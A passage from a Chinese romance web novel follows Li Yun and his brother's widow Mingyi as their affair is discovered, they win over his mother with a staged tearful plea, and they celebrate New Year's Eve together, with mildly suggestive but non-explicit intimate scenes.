李赟叹了口气:“三娘, 你也体谅体谅我, 我都二十六了。” 明宜先是一愣,继而又有些狐疑地看了看他。 传闻中小凉王不近女色,但这些日子来,她可以肯定, 对方不仅近女色,还热情似火。 一想到她刚刚碰到的物什。 明宜原本就泛红的脸愈发红得厉害。 虽然认知和经验都堪称浅薄,却也知道小凉王只怕也是个中翘楚。 她想了想轻咳一声道:“我瞧阿兄你也挺正常的, 怎么从前房中连侍妾都没有?” 李赟餍足地靠在她身旁,有一搭没一搭地抚着她肩头,淡声道:“我是小凉王,若是学不会控制欲望,迟早会落入敌人陷阱。”说着似笑非笑看她一眼,“女色是把温柔刀,我可抵挡不住。” 明宜见他目光从自己脸上往下滑落,赶紧拿了沐巾搭在身上:“你先上去!” 李赟懒洋洋站起身,又似想到什么似的,道:“若是我身旁早有通房侍妾,三娘只怕看都不会多看我一眼。” 明宜撇撇嘴:“那是自然。” 李赟轻笑一声:“阿玉在信中写过,说三娘因为父亲后宅的腌臜事,对夫君的要求便是一心一意。”不等明宜反应过来,他又继续道,“我羡慕阿玉和三娘琴瑟和鸣,便想着若是日后我遇到三娘这样的好女子,她要的是一生一世一双人,而我的后宅里却早早有了旁人,岂不是只能错过此生挚爱?” 明宜轻笑出声:“若是旁人晓得小凉王有这般心思,只怕会觉得好笑。” 话是这么说,心中却不免为对方口中“挚爱”二字而心生欢喜。 李赟出了水,大喇喇将亵裤脱掉。 明宜吓得赶紧转头。 李赟却是浑不在意,随手捡起地上的衣裳穿上,一边穿一边淡声道:“你也赶紧上来吧,泡久了当心身子虚。” 明宜心道她现在就挺虚的。 “你转过身去!” 李赟低低笑了声,但还是从善如流转身。 明宜确定他不会来看自己,这才从池子里爬起来,胡乱擦了身体,赶紧将衣服穿上。 “你赶紧回去好好睡一觉。” 想着他先前喊累,又折腾了这么久,只怕铁打的身子也吃不消。 李赟转头,上下打量穿戴整齐的女人一眼,叹了口气道:“孤枕难眠啊!” 明宜嗔道:“你休想再得寸进尺。” 李赟笑:“确实不能再进了。” 不知是不是自己想歪,明宜总觉得他这话不大正经。 她不想与他在口舌上纠缠,伸手推了推他:“你赶紧走吧!” “行行行,我这就走!”李赟笑着举起双手,一副怕了她的样子。 明宜开了门,将他推了出去,自己也转身准备回寝房。 哪知脚下还没动,又被李赟一把拉在怀中,含着她的唇亲了又亲。 天寒地冻,外面没有婢女值夜,明宜不敢出声,怕将人吵醒,只能一边由着他亲,一边将他往外推。 李赟终于尝够了女子香甜滋味,这才依依不舍将人松开。 明宜总算能将脸从他怀中抬起。 然而这一抬,她脸色却蓦地一僵。 李赟借着微弱灯火下,看到她脸色不对劲。 他缓缓转身,却见黑黢黢的院门口不知何时站了几道身影。 正是惠心公主秦七郎和两个婢女。 虽然看不太清,但隐约可见,两人脸色都不好,一个浑身颤抖满脸不可置信,一个则是心如死灰般失落。 两个婢女更是头也不敢抬。 “大郎……三娘……你们……你们……”惠心公主指着两人,气得说不出一句完整的话。 “母亲!”李赟赶紧上前扶着对方,“您听我说。” “三娘是你弟妹!”惠心公主斥道,又看向犹站在原地的明宜,越过儿子,疾步走过来问道,“三娘,是不是大郎逼你的?你别怕,告诉母亲,母亲定会替你主持公道!” “母亲……”明宜虽然懊恼不已,但还是坦然道,“我和阿兄是两情相愿。” 惠心公主眼泪忽然滚下,颤抖道:“阿玉才过世几个月,你们如何对得起他?” 李赟走过来,波澜不惊道:“把三娘交给他最亲爱的兄长,阿玉泉下有知,只会欣慰绝不会生气。母亲,我相信这世上不会有人比阿玉更希望我和三娘在一起。” “你胡说!”惠心公主怒道,“三娘向来明事理懂规矩,定是你这蛮人逼着她胡作非为。” 李赟闭眼深吸一口气,淡声道:“就算我是蛮人,那也是母亲生出来的蛮人。” 惠心公主一口气噎住,明宜赶紧扶住她,柔声道:“母亲,阿兄没有逼迫我,过去几个月,我们在沙洲共生死同患乱,他不顾自己性命也要保护我。阿兄不是你口中的蛮人,他是守护河西守护大宁的小凉王,也您的儿子。阿兄说得对,阿玉若是知道我与他最爱的兄长在一起,他只会替我们高兴。” “你……你怎么也……”惠心公主到底不忍骂她,捂着脸拂袖而去。 一直没出声的秦七郎,面无表情扫了眼两人,冷笑道:“三娘子便是这样的长安贵女么?” 他看得很清楚,两人方才是从温泉房出来。 孤男寡女在温泉房能作何? 他原本以为明宜和李赟不过是互生情愫,却不料已经到了这一步。 明宜对他的指责倒是不以为意:“是啊,我便是这样的长安贵女,叫秦郎君失望了!” 若是这样能让对方死心,倒也不算坏事。 秦七郎冷哼一声,转身离开。 东窗事发,明宜原本该惊慌失措,但此时却好像心中一块大石落地,轻松了不少。 她重重舒了口气,看向眉头深蹙的李赟:“罢了,总归是要知道的,与其天天躲躲藏藏,不如光明正大。” 李赟闻言轻笑出声:“不怕母亲生气了?” 明宜想了想:“我会好好去与母亲说,不管她如何责骂你,你千万别和她置气。” “放心吧,她毕竟是我母亲,我也不想她气出个好歹来。”说着摸摸她的脸,“行了,赶紧进屋吧,别冻着了,让母亲先缓缓。” “嗯。”明宜点头,无奈笑道,“明早我们一起去请罪。” 李赟道:“你我两情相悦,何罪之有?” 明宜轻咳一声:“不管怎么说,我们也是越界了。” 李赟微微一怔,到底也还是有些心虚:“嗯,那明天再好好请罪去。”—— 作者有话说:只是边缘一下哈~ 第89章 第 88 章 小凉王哭了 翌日清晨, 明宜简单洗漱了下,赶紧去了梅园。 不料,一进院门, 就见李赟跪在院中, 也不知跪了多久。 园中正屋大门敞开着,惠心公主坐在炭盆后, 正擦眼抹泪。 “三娘向母亲问安!”明宜走到李赟身旁, 先是给惠心公主行了礼,然后撩起裙袍与李赟并排跪下, 拱手道:“这不是阿兄一人的错, 若是母亲要为此事责罚阿兄, 还请连三娘一并责罚。” 李赟忙拱手道:“母亲, 确实是孩儿死缠烂打,三娘不得已才从了我。” 惠心公主一听, 顿时气得颤抖着手指向他:“我就知道……我就知道……” 明宜心中叫苦不迭, 赶紧道:“母亲莫要听阿兄胡说,我们二人两情相悦,并无任何不得已。” 惠心公主道:“三娘, 你是不是怕他?” 明宜转头看了眼李赟, 忽然眼圈一红:“母亲, 我怎会怕阿兄呢?”说到这里,眼泪啪嗒啪嗒落下来,哽咽道,“人人都道小凉王冷血无情, 连母亲也是这般认为。但三娘来了凉州,与阿兄相处下来才知,他也只是个普通男子。” “母亲带着阿玉回长安, 留他独自镇守河西那年,他也不过十八岁。这八年,人们只知道他打了多少次仗,杀了多少北狄贼子。却不知他受过多少伤,流过多少血。人人都以为小凉王是战神,可我看到的阿兄,只是个有血有肉的普通人。我看过他中毒受伤,见过他有多痛苦,也听他喝醉后嘴里念叨着母亲和阿玉,这些年他一直都很想念你们。” “母亲可能不知,因为幼时被父亲关了禁闭,阿兄时至今日甚至都怕黑。” 李赟脸色有些僵硬地看向她。 惠心公主则明显有些怔忡。 明宜知道对方心软,声音越发哽咽:“因为没有父母做主,阿兄这个年纪还未娶亲,又因洁身自好,身边连个知冷知热的侍妾都没有。我只是对他好一点,他便认定了我,说到底,不过因为他也会孤单寂寞罢了。” 李赟嘴角抽搐了下。 小凉王向来好面子,她这些话虽然没错,但实在是让他有些难为情。 明宜瞅他一眼,见他脸色红里透着黑,明显不愿承认,暗暗对他使了个眼色,又悄悄伸手用力掐了掐他腰间。 她可真是下了狠手,隔着厚厚的衣袍,都让李赟感觉到一阵揪痛。 至于她的眼色,李赟自然也看得懂。 她是让他学她做戏呢。 做戏对小凉王来说并不难。 但示弱服软这种事还从来没干过。 眼见明宜眼神露出焦急之色,他只能心一横,用力让自己红了眼睛,然后哑声开口:“母亲,你别听三娘的,我堂堂小凉王怎会是她说的这样?” 这语气颇有几分故意赌气的架势,配着他泛红的灰眸,仿佛是印证了明宜所说。 惠心公主望着儿子,早忘了擦眼抹泪,只剩震惊之色。 因她从来没见过这样的儿子。 明宜顺着他的话道:“母亲,你看阿兄就是这么嘴硬。” 李赟像是被戳中心思一样,连耳根都变得通红。 他本是羞恼,但惠心公主被明宜这么一带,瞧着儿子,只觉得对方是在伤心难过。 “大郎……” 明宜见惠心公主已然动容,又悄悄掐了一把李赟,低下头一边抽噎,一边用只有两人听得到的声音道:“你快哭啊!” 李赟叫苦不迭。 他记事起就没哭过,如何能像她这般信手拈来。 但想着若是自己眼下不掉两滴眼泪,母亲糊弄不过去是小事,惹了身边小娘子生气却是大事。 又想到只要过了母亲这一关,日后便不用偷偷摸摸做采花贼。 思及此,他垂下头用力咬了咬牙,嗷的一声哭出来。 “三娘,你与母亲说这些作甚?我是小凉王,我天生就该杀伐决断,冷血无情,唯有如此才能让河西百姓大宁朝廷放心。我如何能怕痛怕黑,又如何能思念母亲和阿弟,又如何能有儿女情长?” 原本他只是硬着头皮做戏,但说着说着,压抑在心中的怨气悉数喷薄而出。 于是这语气便带了几分委屈和抱怨。 胸腔和鼻子也忍不住开始发酸,几滴热泪当真随着哽咽声滚了出来。 连身旁的明宜都被他吓了一跳。 小凉王这戏做得比自己还好! 原本满腔怒气的惠心公主,被长子这模样吓得一时哑口无言,心中怒火逐渐被内疚心疼替代。 是啊,他是自己的儿子,是自己看着从一团小娃娃长成这般大。 他也是血肉做的,怎么会没心没肝冷血无情? 无非是因为从小被教导,他是未来的凉王,肩负守护河西和大宁的重任。 所以他不能怕疼不能哭,更不能在母亲怀中撒娇,受了委屈只能默默往肚里吞。 他不是不怕疼,他是不敢怕。 而自己作为母亲,却只是因为见了他幼时杀人,便对他敬而远之,从来没去关心过他,仿佛他真的就只是那冷血无情的小凉王。 头回看到长子失声痛哭的惠心公主,这才意识到自己这个母亲有多失职。 都说男儿有泪不轻弹。 别说是心软如惠心公主,就是旁边的婢女侍卫,见状都忍不住鼻子一酸,跟着小凉王一起流下泪来。 回过神的惠心公主,站起身一步一步走到李赟跟前,弯身将人紧紧抱在怀中,泪流满面道:“大郎,阿奴,是母亲不好!是母亲没有关心过你,你心中定是一直怪着母亲吧!” 李赟没想到这两滴眼泪这般有用,顿时鼓起劲儿嚎哭得更厉害,在母亲怀中用力摇头:“这是孩儿的命,孩儿从未怪过母亲!” 他这样一说,惠心公主越发愧疚,几乎是泣不成声。 明宜见效果达成,也再哭不出来,而地上又实在冷得厉害,她赶紧站起身搀扶着惠心公主:“母亲,外面冷,咱们进去吧!” 惠心公主反应过来,忙拉儿子起身:“大郎,跪了这么久,该冻着了,快进屋暖暖!” 李赟从善如流起身,只是身子却狠狠踉跄了下。 这回倒不是装的。 他穿得不算厚,天寒地冻的清晨,跪了快半个时辰,腿早已冻得失去知觉。 惠心公主见状愈发心疼,赶紧将人扶住:“大郎,你怎样?” 李赟抽了抽鼻子,道:“母亲不用担心,孩儿无碍。” 一旁的明宜暗暗舒了口气,抬头看向那头的男人,对方也正好朝她看过来。 那双深灰色的眸子,眼下泛着红,没了平日的冷冽,倒真有几分楚楚可怜。 明宜对他挑挑眉,用口型无声道:“阿兄做得很好。” 李赟勾了下嘴角,在母亲看来之前,又赶紧抬手假意用袖子去擦眼泪,以此挡去嘴角的那一抹笑意。 惠心公主拍拍他的手背:“大郎,既然你和三娘是两情相悦,不是你强人所难,母亲也没有意见。” 李赟道:“我知母亲喜欢三娘,一直想让她寻得良人有个好归宿,但若她当真嫁去别人家,她与母亲便没了关系。如今她的良人是我,将来她依旧在我们家,给你做儿媳,依旧还叫你母亲,母亲难道不高兴么?” 惠心公主经他这一提醒,愈发豁然开朗,擦了眼泪,笑道:“大郎言之有理。”说罢,拍着明宜的手道,“三娘,看来咱们母女情分注定是要一辈子。” 明宜笑:“就算我与阿兄没有缘分,我与母亲的母女情分也是一辈子。” 惠心公主显然不爱听这话:“千里姻缘一线牵,你与大郎相隔这么远都能走到一起,怎么会没有缘分?根本就是上天注定的缘分。” 明宜:“……” 这态度转变也未免太快了些。 她有些无语地看向李赟,对方耸耸肩,显然很有几分得意。 惠心公主拉着儿子在炭盆前坐下,又让人拿了一条羊毛毯子,亲自给他搭在身上,嗔道:“这个天,你怎就穿这点?” 李赟轻笑:“孩儿习惯了,不冷的。” 惠心公主搓了搓他的手:“都快成冰了,还不冷?赶紧烤烤!” 李赟轻咳一声,从善如流将手伸到炭盆上。 “对了!”惠心公主想到什么似的,道,“七郎昨晚连夜下了山,也不知会不会出事,大郎你可要看着点他。” “放心吧,我的人会跟着。” 惠心公主叹了口气:“都怪我不好,先前见他对三娘有意,便想着撮合他与三娘,让他抱了希望,没想到你们……” 李赟道:“他早知道我和三娘的事,却还是对三娘死缠烂打。” “是么?”一个是亲生儿子,一个是故人之子,在今日之前,惠心公主或许还会向着秦七郎,但如今满心都是对长子的亏欠,自然也不会再说其他,只道,“这种事确实不能强求。若大郎你是强迫的三娘,就算你是我的亲骨肉,我也不会答应。” 李赟轻笑:“三娘有主意得很,我哪能强求得了她?” 惠心公主点头:“这倒也是。” 若不是没主意的女子,怎可能执意嫁给命不久矣的阿玉,又怎会不管不顾与阿玉的兄长在一起? “那你们的婚事?”惠心公主想了想又问道。 李赟道:“虽然孩儿恨不得马上就迎娶三娘过门,但阿玉毕竟才过世几个月,北狄又虎视眈眈,眼下成亲,定会落人口实。我倒是无所谓,却不能坏了三娘的名声。三娘会留在河西与我共同抗敌,待灭了北狄,我会进京面圣,请求圣上为我们赐婚。” “甚好。”惠心点点头,忽然又脸色一板,“既然还未成亲,那就得恪守规矩,从今日开始,大郎你不得私下去见三娘。” “啊?” “尤其是晚上,听到没?” 李赟苦着脸看向明宜,对方抿嘴忍着笑,显然是在幸灾乐祸。 “好吧。”小凉王不情不愿道。 惠心公主又正色道:“以前是我这个做娘的没好好教导你,许多事你不懂也情有可原,今日开始我要给你教规矩了。” 李赟:“……” 还不如不哭呢—— 作者有话说:明宜:就说哭唧唧有用吧,早不用? 第90章 第 89 章 岁末 为弥补对长子多年的亏欠, 惠心公主不仅开始给李赟教规矩,还成日嘘寒问暖。 然而小凉王心中虽渴望母亲关爱,可毕竟独当一面这么多年, 当真得到这般丰沛的母爱, 却又只觉麻烦。 更别提惠心公主每晚都派人盯着,绝不让他去明宜的兰园。 惠心公主虽然不关心俗务, 但毕竟是公主, 身边皆是能人,饶是小凉王本事通天, 在她的眼皮下, 也翻不出多大风浪。 甚至好几次, 他夜里回到山上, 正要偷偷摸摸去见明宜,还没走到兰园就被公主侍卫拦下。 而他的竹园和兰园又实在相隔甚远, 在这永安园想和明宜偶遇都艰难。 好在已是岁末, 众人在山中又待了几日,便乌泱泱下山,回了王府准备过年。 比起永安园, 凉王府就小了太多, 李赟和明宜晚上不便私会, 白日在王府,还是能光明正大打几回照面。 “三娘……” 这日,明宜正在帮忙整理花园,李赟阔步走了进来。 明宜见他穿戴随意, 一派闲散之姿,随口问道:“阿兄,你今日没有庶务要忙么?” 李赟道:“眼下将士们已经专心准备过年, 其他事都推到年后再说,我也终于能闲下来了。” 明宜笑道:“既然得了闲,那就来帮忙干点活。这花园除了梅花菊花,其他都是干木枯草,我们得稍作装点,有点过年的气氛。” 周围几个婢女小厮正在忙碌,李赟到底是被母亲教了规矩,再如何想与她亲近,也不好当着人动手动脚。 谁曾想光明正大的后果会是这样? 他在明宜两步之遥站定,看着她仔细修剪枯枝,轻笑道:“三娘眼下瞧着终于像个王府女主人了。” 明宜轻笑道:“我原本也是王府女主人。” “但从前三娘可只把自己当客人。” 明宜回头瞧他一眼,笑说:“别光看着,你也赶紧来帮忙。” 李赟走到她身旁,想到什么似的,轻咳一声,吩咐众人:“你们先去忙别的,这里我和夫人打理就好。” 下人们闻言赶紧识趣退下。 明宜嗔道:“你干嘛呢?” 李赟见人都离开,这才挨上她,一把将她揽入怀中。 “这些日子,母亲看我看得太紧,我连抱一抱你都没机会。” 明宜噗嗤笑出声:“你是该跟你母亲学点规矩,哪有没成亲就像你这样的。” 李赟不以为然道:“所谓规矩都是些假道学。我可是小凉王?在凉州,什么规矩能比我大?” 明宜道:“母亲的规矩就比你大!” 李赟被她噎了下,讪讪道:“我也就是不想惹她生气。” 明宜想了想,道:“如今母亲对你已改观,你该服软就服软,该示弱就示弱,你那套硬骨头做派,用在战场就好,别用在身边人身上。” 李赟勾唇一笑:“我在你面前可从来也没有硬骨头。”说着,想到什么似的,拉住她的手,“你跟我来!” “你要作何?” 李赟但笑不语,拉着她钻进了假山石洞,然后迫不及待抱着人便亲上来。 两人已经小半月没亲近过,尤其上一回还是在温泉坦诚相对。 可想而知,小凉王这小半月憋成了什么样子,每晚梦里都是些让人面红耳赤的画面,清早起来必须起来大练一个时辰的功,才能勉强泄掉火气。 刀法倒是日益精进。 眼下终于得了机会,刚刚在外面看着还一本正经的小凉王,跟饿了多日的恶狼一样,只恨不得将怀中人吞入腹中。 往常他虽然也是狂野做派,但今日这般凶猛还是头一回。 明宜被他压在石壁上,嘴巴舌头被紧紧缠住,连勉强呼吸的余地都没给她留。 直到她实在受不住,开始拍着他挣扎,李赟才稍稍将人松开,喘着粗气咬着她耳朵,呢喃道:“三娘,你帮帮我,我憋得实在难受!” 明宜只觉得他跟一团火似的,连呼出的气息都有些烫人。 “当心有人进来!”明宜哑声道。 “我让人在外面看着,有人来会通报!你就可怜可怜我吧。” 他语气软绵绵,倒真是有些可怜的模样。 小凉王示弱不仅对惠心公主管用,显然对怀中女人颇有效果。 只是明宜到底是怕被人撞见,折腾半晌,额头急得冒出了汗,忍不住催促道:“当心人来了!你快些!” 李赟喘息着再次吻上她。 及至外面忽然传来一道刻意拔高的声音:“奴婢见过公主殿下!” 明宜吓得一用力,李赟嘶了一声,身体先是猛地紧绷了下,又终于缓下来。 他仍旧抱着明宜不愿松开。 还是明宜抽出手使劲推了一把:“母亲来了,我们快出去!” 不等他回过神,自己先出了山洞,然后拿起剪子,装模做样继续修剪枯枝。 “咦?三娘,大郎呢?刚刚听说他来了这边。” 明宜轻咳一声,道:“阿兄在清扫山洞呢。” 惠心公主不疑有他,只笑道:“这些活儿交给下人做就好,你们何必亲力亲为。”说着山洞唤道,“大郎,你这几日若是得闲,与三娘一起陪娘去采买年货。” 李赟拿着一只笤帚从山洞施施然走出来,衣衫齐整,脸上的绯色已经散去,颇有些正人君子的模样,丝毫看不出刚刚在洞里拉着明宜胡闹了一通。 他瞥了眼明宜,点点头淡声道:“嗯,我手中庶务已经忙完,只等年后再继续。” 惠心公主叹息一声道:“我原本是打算留在凉州,但想着你开春后就要着手对付北狄,我留在这里只会给你添麻烦,所以还是等暖和些,便与五郎月夕一起回长安。” 李赟点头:“嗯,一旦开战,我便无暇顾及母亲,母亲留在凉州,反倒让我不放心。” 惠心公主又看向明宜:“三娘……” 李赟忙不迭道:“三娘要留在凉州帮我。” 惠心公主失笑:“我没说要带三娘走,只是三娘到底是女子,随你打仗,只怕是不大方便。” 李赟笑道:“母亲不用担心,打仗并不全靠武力,三娘聪慧,随我一起,不仅不会不便,还能帮我出谋划策。而且三娘弓马娴熟,有足够的自保能力。” 惠心公主知道明宜聪慧,但并未见过她的弓马,还是听儿子说了在河西的事,才知自己这位儿媳竟是帼不让须眉。 她点点头,又忧心忡忡皱起眉头:“虽然为娘相信我儿的本事,但这回开战,只怕与以往不同,你一定要保护好自己。” 李赟道:“母亲不用担心,我已做好充足准备,不灭北狄誓不罢休。” 明宜走上前,柔声道:“母亲放心会长安,我会照顾好阿兄。” 惠心公主拉起她的手轻轻拍了拍:“嗯,大郎就交给三娘你了。” 李赟失笑:“难道不是把三娘交给我么?” 惠心公主嗔道:“三娘交给你我还不放心呢。” 李赟嘴角抽了抽,明宜则是低低笑出声。 * 原本李悆过世刚半年,王府这个年该一切从简,但惠心公主发了话,明年小凉王就要出征,河西将迎来一场硬仗,不仅是王府要过一个热闹的年,整个凉州城也要张灯结彩,好好庆祝一番。 她一连几日,亲自采买置办年货,又将王府装点得喜气洋洋。 李赟原本不爱这些俗务,但被母亲指挥着与明宜一起忙进忙出,也觉甘之如饴。 只是到了腊月二十八,惠心公主让他将秦七郎请回王府一起过年,他却是有些不愿意,还是明宜陪他一起,才勉强纡尊降贵去请人。 秦七郎依旧住在上次那处院子。 这些日子,李赟叫人暗中看着他,据回报,这家伙深居简出,鲜少出门。 也不知是真是假。 两人抵达院门时,只见门扉紧闭。楚飞去敲门,等了片刻,才有人来开。 “你们找谁?” 不等楚飞回答,秦七郎的声音已经从里面传来:“他们找我的,让他们进来吧。” 几人进了大门,却见秦七郎正在整理院中几只箱笼。 李赟奇怪问:“你这是?” 秦七郎还未回答,秦梦已经从屋里走来道:“王爷,三娘,我们准备明天回沙洲了。” 明宜蹙眉道:“后天就要过年了,好歹一起过了年再走!” 秦七郎瞥了她一眼,似笑非笑道:“一起过年?只怕有人不欢迎我吧?” 李赟道:“别把我想得与你一样小肚鸡肠。” 秦七郎冷哼一声:“是,我是小肚鸡肠。”说着看向明宜,“三娘子,你知道我最后悔的是是什么?就是当初掳走你时,我偏要做什么正人君子。若是我学小凉王的做派,如今我们的关系只怕已经不同。” 明宜轻笑道:“你若不做正人君子,你便不可能还站在这里与我说话。” 秦七郎先是一怔,继而又自嘲一笑:“那看来是我的正人君子救了我一条命。” 明宜道:“秦七郎,如今你与我们同坐一条船,不论你从前做过什么,我和阿兄都不再与你计较,你想要的东西,阿兄也定会满足。至于其他,你明知不可能,我不希望你因这点小事,成为我们的变数。” 秦七郎看了看两人:“我手上人命无数,光是黑松驿便杀了侯府几十人,三娘子和王爷当真不会再与我计较?还是说其实是打算秋后算账?” 秦梦嗔道:“七郎,王爷怎可能是这种人?” 李赟哂笑了声:“战时用人,论才不论德,我既用了你,从前之事便已一笔勾销。” 明宜点头附和:“从前你身份不同,立场不同,没人会揪着不放。” “是么?”秦七郎垂眸喃喃道:“可我自己不知能不能一笔勾销。” 明宜蹙眉:“秦七郎,你说什么?” 秦七郎摇摇头,忽然又抬眸咧嘴一笑:“王爷,我还有个不情之请。” 李赟脸上已露出不耐烦:“你说。” 秦七郎道:“来年开战,还请让我亲手斩下突涅大汗的人头。” 李赟道:“只要你有这个本事。”—— 作者有话说:大集合后,就该完结了【..top】 90-98 第91章 第 90 章 过年 秦破虏执意要走, 李赟和明宜也没有强求。他与小凉王本就只是合作关系,他的来去,他们管不了。 何况他定是已有自己的打算, 只愿届时对付北狄时, 他能好好配合。 明宜只偷偷给秦梦塞了点银钱。秦梦也知阿弟固执,心中对她和李赟颇有些亏欠, 但到底还是随了阿弟。 惠心公主得知秦七郎要回沙洲, 心中虽有不舍,到底也没强求, 只交代儿子日后打仗时, 对这位故人之子要好生照拂。 李赟自是应下。 除夕夜。 凉王府张灯结彩, 婢女仆人进进出出, 欢声笑语,好不热闹。 饮马厅, 灯火通明。 荣伯一边张罗着上菜, 一边笑盈盈对惠心公主道:“自打公主和二郎君去长安后,咱们凉王府中就从没有过这般热闹的除夕夜,甚至好几年王爷人都在军营。” 明宜不动声色瞧了眼李赟, 对方神色淡淡, 对荣伯的话似是不以为意。 但她却知道, 除夕乃是阖家团圆日,李赟不在府中过年,无非是孤身一人心中落寞罢了,还不如与将士一起。 惠心公主愧疚道:“是母亲做得不好, 只顾着自己舒心,却不知大郎也需要人照顾。” 说着又道,“不过等大郎你灭了北狄, 母亲便回凉州安度晚年。” 李赟轻笑道:“凉州气候到底不如长安舒适,母亲年岁渐长,还是留在长安更好。且不说我身边有这么多将士亲随仆从,如今我还有了三娘,母亲不用担心。待灭了北狄,我也可以随时和三娘去长安看望母亲。” 周子炤笑嘻嘻道:“表兄说得没错,等他灭了北狄,要去长安还不是很容易的事。” 明宜也笑道:“是啊,眼下最要紧的,是咱们一起好好过这个除夕。” 惠心公主忙不迭点头,笑盈盈道:“三娘说得没错,不提其他的,咱们专心过这个年。” 一屋人吃了一顿热热闹闹的年夜饭,几个年轻人又嬉闹着去院子放爆竹。 清静多年的凉王府,头一回这么热闹。 明宜和李赟退到一旁,看着皇家兄妹带着婢女随从欢天喜地点爆竹。 那两人是不敢亲自点的,躲在侍卫后面,看着人将硝石竹筒点燃。 砰 —— 砰 —— 伴随着竹筒炸开,一声声巨响,火花四溅。 周月夕吓得嗷嗷叫着跑开。 明宜也不由自主捂住耳朵,往后退了两步,恰好退进一堵温热的怀中。 李赟扶住她,轻笑道:“你要不要去玩?” 明宜摇头:“我又不是小孩子。” 李赟笑:“五郎比你还大一些。” 明宜也笑:“那阿兄比五殿下也大不了几岁。” 李赟松开她,取了两只手臂粗的炮仗。 周子炤轻呼道:“这么大!” 李赟道:“嗯,你往旁边站着去,当心被炸到。” 周子炤忙拉着妹妹跑到明宜身旁。 明宜看到那么大的炮仗,一时不免兴奋又有些害怕,见李赟用火镰点上引信,一边后退一边赶紧道:“阿兄,你快过来!” 李赟却是不急不缓起身,嘴角噙笑,优哉游哉往这边走。 砰的一声…… 爆竹在他身后炸开,饶是小凉王也忍不住捂住了耳朵。 夜色被火光点亮,晕开一团璀璨红光。 李赟站在原地,微微侧头朝天空看去。 于是他那张脸便映照在夜空红光之下,原本俊美冷冽的面容,此时嘴角微翘,眸中微光闪动,眼角眉梢都是笑意,竟是有几分欢喜的孩子气。 原本在看爆竹升天的明宜,目光不经意落在这张脸上,心中不由得微微一动。 或许这才是真正的李赟,一个再简单不过的年轻人。 只是因为责任重担而将原本的自己掩藏起来,只让世人见到那个冷血无情的小凉王。 “表兄,你胆子真大,那么大的爆竹你也敢点!” 周月夕大声叫道。 李赟笑着摊摊手,走到明宜身旁:“怎么样?我们凉州的爆竹比起长安如何?” 明宜笑:“比长安的更响亮。” 李赟看着拿着小炮仗跃跃欲试的皇家兄妹,笑着舒了口气:“凉王府也好久没这么热闹过了!” 明宜笑问:“你喜欢这份热闹吗?” 李赟挑挑眉:“还行吧。” 明宜失笑,继而又道:“那就愿年年有今日,岁岁有今朝!” 李赟拉住她的手,望着再次腾空的爆竹,笑说:“嗯,有良人相伴,日日都是良宵佳节。” 那边的皇家兄妹不知因为什么斗起嘴来,周月夕吵不过,撩起袖子就要上手,齐王殿下被妹妹追着满院子乱窜。 “表兄、三娘子,救我!” 他跑过来,想要躲在两人身后,李赟眉头一挑,拉着明宜往后退了两步,让他躲无可躲,只能继续逃窜。 惠心公主从屋中走出来,先是看到打闹的兄妹,又瞥到手牵手站在一旁的李赟和明宜,轻咳一声道:“我年纪大了,熬不住咯,你们慢慢玩,守完岁再去休息。” 明宜下意识想将手收回,却被李赟攥住。 “嗯,母亲您快回去歇着吧。” 惠心公主笑道:“今晚是除夕,我不管你。但是……” 她顿了顿,“要有分寸!” 李赟笑着点头:“母亲放心,孩儿一向有分寸。” 惠心公主哼了声:“你最好是。” 说着又道,“五郎、月夕,你们慢慢玩,姑母回房了。” “好嘞,姑母岁岁安康!” 兄妹俩大声道。 惠心公主笑着挥挥手,在婢女的搀扶下离开了。 又闹了许久,子时的鼓声从远处传来,凉州城内顿时爆竹声声,新一年到了。 院子里的众人忍不住兴奋欢呼。 及至喧杂声渐歇,李赟道:“五郎、月夕,都回去歇着吧。” 周月夕跑到两人跟前,拱手作揖道:“表兄、表嫂新年好!” 李赟掏了两个红封,给她和周子炤一人一个,两人捧着钱喜滋滋走了。 明宜打了个哈欠:“阿兄,我也要回去了。” “我送你。” 明宜好笑道:“在家里有何好送的,你也回去休息吧。” 李赟道:“母亲说今晚不管我的。” 明宜狐疑地看了他一眼:“你想作何?” 李赟凑到她耳畔低声道:“我想新年第一天与你一起过。” “明早你也没有庶务要忙,本就可以一起过。” 李赟道:“我不是说明早,我是说今晚。” 明宜明白他的意思,脸一红:“母亲让你有分寸的,你忘了?” 李赟:“我保证有分寸。” 明宜犹疑了下,见他今晚实在开心,也不忍扰了他的兴致,点点头低声道:“好吧。” 李赟果然喜笑颜开:“我就知道三娘最体恤我。” 明宜瞪他一眼,可到底也忍不住笑出来。 两人回了兰园,秋霜、寒露打来漱洗的热水,便憋着笑与白芷一起退下。 明宜无奈道:“你瞧瞧,我的名声全被你给毁了。” 李赟道:“咱们凉州原本就没这么多讲究,他们只会替咱们高兴。” 两人简单漱洗后,李赟便死皮赖脸与她一起上了床。 虽然该做的不该做的都已经做过,但同床共枕还是头一回,明宜到底还是有些不放心:“你不许乱来!” 李赟轻笑:“放心,洞房花烛夜定是要等我们大婚之日。” 李赟隔空吹灭了桌上蜡烛,翻身上床。 因是冬日,明宜只脱了外袍,仍旧穿着中衣。只是她刚钻入被褥中,便感觉到一具热烘烘的身体靠上来。 “你怎么不穿衣裳?” 李赟理直气壮道:“睡觉穿什么衣裳。” 说着便伸手去解她的衣襟。 明宜在黑暗中嗔道:“你说了不乱来的。” 李赟:“我就跟那回在温泉池一样,点到即止。” 明宜心说那叫什么点到即止? 不过待对方粗糙的大手从自己光裸的肌肤上拂过,她身子很快便软下来,也知对方并不会真的如何,便由了他去。 黑暗湮没了小凉王此时的表情。 比起在温泉池的越界,眼下其实并不算什么,但女子闺房的床榻,到底意义不同。 鼻息间都是女人特有的馨香,让他几欲如痴如醉。 他从前瞧不上那些沉迷女色的男人,但如今却知什么叫做身不由己。 眼下的他就是。 幸而灭了灯,身旁的女人看不清他的神色,不然只怕也会被他这饥饿难耐的模样吓坏。 “阿兄,你快歇着吧,再闹下去天该亮了。” 明宜在热浪中迷迷糊糊,睡了又醒,而李赟却始终没睡。 “没事,天亮了我直接回自己院子。” 明宜打着哈欠问:“你不困么?” “还行,你困了自己睡,别管我。” 明宜娇嗔道:“那别闹我了,我刚睡着又被你弄醒。” “嗯,我轻点。” 说是这样说,但温香软玉在怀,哪能控制住力度。 明宜不知李赟是何时睡下的,只知再睁眼,身旁的人已经不在,而外头已经天光大亮。 今日是大年初一,按着规矩得早起,去给惠心公主请安。 昨晚睡得迟,又被李赟一直闹,这会儿只能强撑着起床。 “王爷什么时候走的?” 寒露端水进来时,明宜随口问道。 “奴婢也不知,醒来就没见到王爷了。” 明宜点点头,心道那人昨晚多半没睡。 